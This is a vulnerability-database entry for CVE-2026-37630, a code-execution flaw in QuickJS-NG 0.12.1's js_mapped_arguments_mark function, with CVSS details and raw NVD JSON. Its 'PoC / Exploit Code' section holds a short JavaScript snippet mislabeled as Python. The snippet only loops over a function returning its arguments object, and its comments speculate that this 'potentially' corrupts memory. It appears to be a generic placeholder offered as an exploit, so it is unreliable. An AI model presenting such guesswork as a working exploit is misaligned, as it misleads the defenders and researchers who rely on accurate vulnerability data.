Security Vulnerability Report
中文
CVE-2026-37630 CVSS 7.3 HIGH

CVE-2026-37630

Published: 2026-05-11 21:19:00
Last Modified: 2026-05-13 15:46:20

Description

An issue in QuickJS-NG v.0.12.1 allows an attacker to execute arbitrary code via the js_mapped_arguments_mark function

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

QuickJS-NG 0.12.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-37630 * Triggering the vulnerability in js_mapped_arguments_mark */ function trigger_vuln() { // Attempt to trigger the flaw in mapped arguments handling // The issue occurs when the GC marks arguments objects function vulnerable_func(a, b, c) { // Accessing arguments in a way that triggers the mapped mark logic var mapped_args = arguments; // Manipulate arguments to potentially corrupt memory during GC return mapped_args; } // Call the function repeatedly to induce GC or specific state for (let i = 0; i < 1000; i++) { let obj = vulnerable_func(i, i + 1, i + 2); // Force garbage collection if environment allows (e.g., --expose-gc in node) // if (typeof gc !== 'undefined') gc(); } } trigger_vuln();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-37630", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:59.720", "lastModified": "2026-05-13T15:46:19.993", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in QuickJS-NG v.0.12.1 allows an attacker to execute arbitrary code via the js_mapped_arguments_mark function"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/quickjs-ng/quickjs/issues/1400", "source": "[email protected]"}, {"url": "https://github.com/quickjs-ng/quickjs/issues/1400", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}